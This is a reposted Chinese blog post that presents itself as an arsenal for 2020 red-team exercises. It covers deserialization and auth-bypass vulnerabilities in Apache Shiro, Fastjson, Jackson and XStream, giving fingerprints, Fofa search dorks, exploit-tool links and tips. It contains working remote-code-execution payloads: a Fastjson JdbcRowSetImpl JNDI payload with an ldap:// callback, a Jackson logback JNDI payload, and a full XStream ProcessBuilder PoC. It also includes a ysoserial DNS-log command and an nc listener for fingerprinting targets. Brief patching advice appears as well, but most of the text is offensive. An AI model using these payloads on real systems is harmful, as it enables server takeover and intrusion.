2020攻防演练弹药库

2020攻防演练弹药库

各位小伙伴们, 安全界一年一度的激动人心的攻防演练盛况即将来临:) 这里给大家准备些弹药, 主要是近些年的可以进后台/getshell的漏洞, 漏洞太多难免疏漏.基本都是常规操作加一点小技巧, 本文涉及所有漏洞均是公开信息, 大部分漏洞均分析过或实践过, 如有错误欢迎【斧】正, 如有补充也欢迎评论留言.另外, 有些漏洞没有找到外部公开信息, 考虑涉及相关法律法规, 不宜披露, 请见谅. 想深度交流的欢迎沟通.

由于本文长度接近四万字,

Apache Shiro RememberMe 反序列化导致的命令执行漏洞 (Shiro-550, CVE-2016-4437)

1. 漏洞简介

Apache Shiro 是企业常见的Java安全框架, 其漏洞在2019年攻防演练中起到显著作用

2. 影响组件

Apache Shiro (由于密钥泄露的问题, 部分高于1.2.4版本的Shiro也会受到影响)

3. 漏洞指纹

set-Cookie: rememberMe=deleteMe
或者URL中有shiro字样
有一些时候服务器不会主动返回 rememberMe=deleteMe, 直接发包即可

4. Fofa Dork

app="Apache-Shiro"

5. 漏洞分析

【漏洞分析】Shiro RememberMe 1.2.4 反序列化导致的命令执行漏洞
https://paper.seebug.org/shiro-rememberme-1-2-4/

6. 漏洞利用

wyzxxz/shiro_rce: shiro rce 反序列 命令执行 一键工具
https://github.com/wyzxxz/shiro_rce

Apache Shiro回显poc改造计划
https://mp.weixin.qq.com/s/-ODg9xL838wro2S_NK30bw

7. 利用技巧

1.使用多个泄露的key进行遍历, 这个在实战中确实有效

关于Shiro反序列化漏洞的延伸—升级shiro也能被shell
https://mp.weixin.qq.com/s/NRx-rDBEFEbZYrfnRw2iDw

Shiro 100 Key
https://mp.weixin.qq.com/s/sclSe2hWfhv8RZvQCuI8LA

2.使用 URLDNS 进行检测提速

使用适应性最强的URLDNS(这个不受JDK版本和安全策略影响, 除非网络限制不能出DNS)进行检测

且可以使用ysoserial提前生成序列化内容

java -jar target/ysoserial-0.0.5-SNAPSHOT-all.jar URLDNS "http://1234567890.test.ceye.io" > urldns.ser

然后使用占位符+目标url hash的方法修改序列化内容中的urldns地址

提高检测速度以及后续检测无需使用ysoserial

例如 1234567890.test.ceye.io 可以换成 md5('www.qq.com').hexdigest() [:10].test.ceye.io

也就是 9d2c68d82d.test.ceye.io

可以预先记录 hash

9d2c68d82d www.qq.com

然后进行hash查表就可以知道是DNSLOG来自哪个目标, 性能会提高不少

3.已知目标使用了Shiro, 可以采取Shiro-721的报错逻辑来进行遍历key — 星光哥

这样即使DNS不能出网, 也可以通过是否返回 rememberMe=deleteMe 来断定 shiro key 的正确性, 前提是服务器有rememberMe=deleteMe相关回显

8. 防护方法

1.升级Shiro到最新版

2.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上

3.WAF拦截Cookie中长度过大的rememberMe值

Apache Shiro Padding Oracle Attack (Shiro-721)

1. 漏洞简介

Apache Shiro 是企业常见的 Java安全框架, 由于Shiro使用AES-CBC模式进行加解密处理, 所以存在Padding Oracle Attack漏洞, 已经登录的攻击者同样可以进行反序列化操作

2. 影响组件

Apache Shiro < 1.4.2

3. 漏洞指纹

set-Cookie: rememberMe=deleteMe
URL中有shiro字样
有一些时候服务器不会主动返回 rememberMe=deleteMe, 直接发包即可

4. Fofa Dork

app="Apache-Shiro"

5. 漏洞分析

Shiro 721 Padding Oracle攻击漏洞分析 – 安全客, 安全资讯平台
https://www.anquanke.com/post/id/193165

Apache Shiro 远程代码执行漏洞复现 – OnionT’s Blog
http://www.oniont.cn/index.php/archives/298.html

6. 漏洞利用

wuppp/shiro_rce_exp: Shiro RCE (Padding Oracle Attack)
https://github.com/wuppp/shiro_rce_exp

7. 利用技巧

1.该漏洞需要登录后获取到合法的Cookie: rememberMe=XXX后才可以进行利用, 看起来不是很好利用

但实际上有一些网站是开放注册的, 而且这个洞不需要知道服务端密钥

所以后续的利用还是可以同Shiro-550一样利用, 而且这里是AES加密的, 自带过WAF属性

2.如果攻击没有生效, 可以试一下删除Cookie中的JSESSIONID 字段, 很多时候这个字段存在的话, 服务端不会去处理 rememberMe

8. 防护方法

1.升级Shiro到最新版

2.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上

3.WAF拦截Cookie中长度过大的rememberMe值

4.WAF拦截访问过于频繁的IP, 因为该漏洞需要爆破Cookie

Apache Shiro 权限绕过漏洞 (Shiro-682)

1. 漏洞简介

Apache Shiro 是企业常见的Java安全框架, 由于Shiro的拦截器和spring(Servlet)拦截器对于URI模式匹配的差异, 导致出现鉴权问题

2. 影响组件

Apache Shiro < 1.5.2

3. 漏洞指纹

set-Cookie: rememberMe=deleteMe
或者URL中有shiro字样
有一些时候服务器不会主动返回 rememberMe=deleteMe, 直接发包即可

4. Fofa Dork

app="Apache-Shiro"

5. 漏洞分析

Shiro 权限绕过漏洞分析(CVE-2020-1957) – 斗象能力中心
https://blog.riskivy.com/shiro-%e6%9d%83%e9%99%90%e7%bb%95%e8%bf%87%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90%ef%bc%88cve-2020-1957%ef%bc%89/

6. 漏洞利用

Shiro 权限绕过漏洞分析(CVE-2020-1957) – 斗象能力中心
https://blog.riskivy.com/shiro-%e6%9d%83%e9%99%90%e7%bb%95%e8%bf%87%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90%ef%bc%88cve-2020-1957%ef%bc%89/

7. 利用技巧

1.url中间可以尝试添加 ../ , 不限于这个漏洞, 可能会有惊喜, 错误的Nginx配置也会造成新的漏洞

关于url解析的问题可以参考以下链接

A New Era of SSRF – Exploiting URL Parser in Trending Programming Languages!
https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

Tomcat URL解析差异性导致的安全问题 – 先知社区
https://xz.aliyun.com/t/7544

8. 防护方法

1.升级1.5.2版本及以上

2.尽量避免使用*通配符作为动态路由拦截器的URL路径表达式.

Fastjson 反序列化远程代码执行漏洞

1. 漏洞简介

Fastjosn 无疑是这两年的漏洞之王, 一手反序列化RCE影响无数厂商, 目前1.2.48以下版本稳定受影响, 1.2.68以下版本开启Autotype会受到影响

(不排除传说中的1.2.67以下RCE漏洞, 期待八仙过海)

2. 影响组件

Fastjson < 1.2.48 (<1.2.68?)

3. 漏洞指纹

可以通过DNS回显的方式检测后端是否使用Fastjson

{"@type":"java.net.Inet4Address", "val":"dnslog"}
{"@type":"java.net.Inet6Address", "val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":, "val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL", "val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL", "val":"dnslog"}]
Set[{"@type":"java.net.URL", "val":"dnslog"}
{{"@type":"java.net.URL", "val":"dnslog"}:0

可以通过DOS时间延迟或者报错回显的方式检测

无损检测Fastjson DoS漏洞以及盲区分Fastjson与Jackson组件 – 斗象能力中心 (<1.2.60)
https://blog.riskivy.com/%e6%97%a0%e6%8d%9f%e6%a3%80%e6%b5%8bfastjson-dos%e6%bc%8f%e6%b4%9e%e4%bb%a5%e5%8f%8a%e7%9b%b2%e5%8c%ba%e5%88%86fastjson%e4%b8%8ejackson%e7%bb%84%e4%bb%b6/

fastjson < 1.2.66 版本最新漏洞分析
https://mp.weixin.qq.com/s/RShHui_TJeZM7-frzCfH7Q

4. Fofa Dork

5. 漏洞分析

Fastjson <=1.2.47 远程代码执行漏洞分析 – 安全客, 安全资讯平台
https://www.anquanke.com/post/id/181874

6. 漏洞利用

1.JDK降级编译

CaijiOrz/fastjson-1.2.47-RCE: Fastjson <= 1.2.47 远程命令执行漏洞利用工具及方法
https://github.com/CaijiOrz/fastjson-1.2.47-RCE

源项目中最后一句

当javac版本和目标服务器差太多, 会报一个这样得到错误, 所以需要使用1.8的javac来编译Exploit.java

这里并不需要更换jdk版本, 我们可以使用JDK降级编译的手法, 这样1.8的jdk也可以编译出来1.7版本的.class , 相信可以解决很多小伙伴的问题

javac -source 1.7 -target 1.7 Exploit.java

1.2.47版本以下通杀Poc:

{"name":{"@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"}, "f":{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://asdfasfd/", "autoCommit":true}}, age:11}

其中{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://asdfasfd/", "autoCommit":true}也可以替换成其他利用链

2.优先使用LDAP协议

根据实战中经验, 这里更推荐使用ldap协议进行漏洞利用, 原因如下

RMI协议的利用方式 在JDK 6u132/7u122/8u113 及以上版本中修复了
LDAP协议的利用方式 在JDK 6u211/7u201/8u191 及以上版本中修复了

所以,LDAP的利用方式要优于RMI, 且LDAP可以直接返回序列化对象, 绕过更高版本的JDK限制

如何绕过高版本JDK的限制进行JNDI注入 – FreeBuf专栏·安全引擎
https://www.freebuf.com/column/207439.html

7. 利用技巧

1.如何查看服务器的jdk版本呢, 这里也有个小技巧

nc -lvvp 80#[marshalsec中指定的HTTP端口]

当服务器连接过来时, User-Agent中会标明当前服务器的JDK版本

2.当发现一台Redis的数据中有@type字样时, 意味着autotype大概率是开的, 只要不存在黑名单中的利用链都可以用#[同理可以用在jackson上]

fastjson/GenericFastJsonRedisSerializer.java at master · alibaba/fastjson
https://github.com/alibaba/fastjson/blob/master/src/main/java/com/alibaba/fastjson/support/spring/GenericFastJsonRedisSerializer.java

public class GenericFastJsonRedisSerializer implements RedisSerializer<Object> {
private final static ParserConfig defaultRedisConfig = new ParserConfig();
static { defaultRedisConfig.setAutoTypeSupport(true);}

其他消息队列之类的都是同理

8. 防护方法

1.升级Fastjson到最新版(>=1.2.68 新增了safemode, 彻底关闭autotype)
2.WAF拦截过滤请求包中的 @type%u0040%u0074%u0079%u0070%u0065u0040typex04type 等多种编码的autotype变形

3.最少升级到1.2.48以上版本且关闭autotype选项

4.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上

Jackson 反序列化远程代码执行漏洞

1. 漏洞简介

Jackson 跟Fastjson一样, 当enableDefaultTyping开启时, 也是可以进行反序列化到代码执行

2. 影响组件
Jackson

3. 漏洞指纹

无损检测Fastjson DoS漏洞以及盲区分Fastjson与Jackson组件 – 斗象能力中心 (<1.2.60)
https://blog.riskivy.com/%e6%97%a0%e6%8d%9f%e6%a3%80%e6%b5%8bfastjson-dos%e6%bc%8f%e6%b4%9e%e4%bb%a5%e5%8f%8a%e7%9b%b2%e5%8c%ba%e5%88%86fastjson%e4%b8%8ejackson%e7%bb%84%e4%bb%b6/

4. Fofa Dork

5. 漏洞分析

跟Fastjson漏洞原理都是一样的, 每次修复基本都是更新黑名单, 漏洞分析可以参考

Jackson-databind-2670远程代码执行漏洞简单分析 – 先知社区
https://xz.aliyun.com/t/7506

6. 漏洞利用

learnjavabug/jackson/src/main/java/com/threedr3am/bug/jackson at master · threedr3am/learnjavabug
https://github.com/threedr3am/learnjavabug/tree/master/jackson/src/main/java/com/threedr3am/bug/jackson

POC

["ch.qos.logback.core.db.JNDIConnectionSource", {"jndiLocation":"ldap://localhost:43658/Calc"}]

7. 利用技巧

1.把Fastjson的利用链拿过来改一改就可以用, 前提是环境中存在可用的利用链

8. 防护方法

1.升级Jackson到最新版(enableDefaultTyping默认都是关的, 问题不大)

2.确保enableDefaultTyping是关闭的

3.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上

Xstream 反序列化漏洞

1. 漏洞简介

Xstream Java 中经常用于处理 xml 的库, 最近一次修复中(1.4.10版本)重现了历史反序列化远程代码执行漏洞, 所以也需要关注

2. 影响组件

Xstream <1.4.6, =1.4.10

3. 漏洞指纹

xml

4. Fofa Dork

5. 漏洞分析

XStream反序列化组件攻击分析 | angelwhu_blog
https://www.angelwhu.com/paper/2016/03/15/xstream-deserialization-component-attack-analysis/#0x04-Jenkins¥ネᄅ￧ヤᄄ

6. 漏洞利用

XStream反序列化组件攻击分析 | angelwhu_blog
https://www.angelwhu.com/paper/2016/03/15/xstream-deserialization-component-attack-analysis/#0x04-Jenkins¥ネᄅ￧ヤᄄ

import com.thoughtworks.xstream.XStream;

import java.io.IOException;

public class Main {
// POC1
public static void main(String[] args) throws IOException {
XStream xStream = new XStream();
String payload = "<sorted-set> " +
" <string>foo</string> " +
" <dynamic-proxy> " +
" <interface>java.lang.Comparable</interface> " +
" <handler class="java.beans.EventHandler"> " +
" <target class="java.lang.ProcessBuilder"> " +
" <command> " +
" <string>cmd.exe</string> " +
" <string>/c</string> " +
" <string>calc</string> " +
" </command> " +
" </target> " +
" <action>start</action>"+
" </handler> " +
" </dynamic-proxy> " +
"</sorted-set> ";
//POC2
// String payload = "<java.util.PriorityQueue serialization="custom"> " +
// " <unserializable-parents/> " +
// " <java.util.PriorityQueue> " +
// " <default> " +
// " <size>2</size> " +
// " <comparator class="org.apache.commons.beanutils.BeanComparator"> " +
// " <property>databaseMetaData</property> " +
// " <comparator class="java.util.Collections$ReverseComparator"/> " +
// " </comparator> " +
// " </default> " +
// " <int>3</int> " +
// " <com.sun.rowset.JdbcRowSetImpl serialization="custom"> " +
// " <javax.sql.rowset.BaseRowSet> " +
// " <default> " +
// " <concurrency>1008</concurrency> " +
// " <escapeProcessing>true</escapeProcessing> " +
// " <fetchDir>1000</fetchDir> " +
// " <fetchSize>0</fetchSize> " +
// " <isolation>2</isolation> " +
// " <maxFieldSize>0</maxFieldSize> " +
// " <maxRows>0</maxRows> " +
// " <queryTimeout>0</queryTimeout> " +
// " <readOnly>true</readOnly> " +
// " <rowSetType>1004</rowSetType> " +
// " <showDeleted>false</showDeleted> " +
// " <dataSource>ldap://ip:1389/Object</dataSource> " +
// " <params/> " +
// " </default> " +
// " </javax.sql.rowset.BaseRowSet> " +
// " <com.sun.rowset.JdbcRowSetImpl> " +
// " <default> " +
// " <iMatchColumns> " +
// " <int>-1</int> " +
// " <int>-1</int> " +
// " <int>-1</int> " +
// " <int>-1</int> " +
// " <int>-1</int> " +
// " <int>-1</int> " +
// " <int>-1</int> " +
// " <int>-1</int> " +
// " <int>-1</int> " +
// " <int>-1</int> " +
// " </iMatchColumns> " +
// " <strMatchColumns> " +
// " <string>foo</string> " +
// " <null/> " +
// " <null/> " +
// " <null/> " +
// " <null/> " +
// " <null/> " +
// " <null/> " +
// " <null/> " +
// " <null/> " +
// " <null/> " +
// " </strMatchColumns> " +
// " </default> " +
// " </com.sun.rowset.JdbcRowSetImpl> " +
// " </com.sun.rowset.JdbcRowSetImpl> " +
// " <com.sun.rowset.JdbcRowSetImpl reference="../com.sun.rowset.JdbcRowSetImpl"/> " +
// " </java.util.PriorityQueue> " +
// "</java.util.PriorityQueue>";
xStream.fromXML(payload);
}
}

7. 利用技巧

1.这里 Xstream 同样影响很多使用它的开源组件, 比如Spring系列

Maven Repository: com.thoughtworks.xstream » xstream » 1.4.10 (Usages)
https://mvnrepository.com/artifact/com.thoughtworks.xstream/xstream/1.4.10/usages

2.xml 不仅可以xxe, 还能反序列化代码执行

2.xxe 漏洞用 xxer, 方便快捷

TheTwitchy/xxer: A blind XXE injection callback handler. Uses HTTP and FTP to extract information. Originally written in Ruby by ONsec-Lab.
https://github.com/TheTwitchy/xxer

8. 防护方法

    1. 升级到最新版

本文转自公众号洛米唯熊如有侵权请联系博主删除

原文地址:https://www.cnblogs.com/xyongsec/p/12880442.html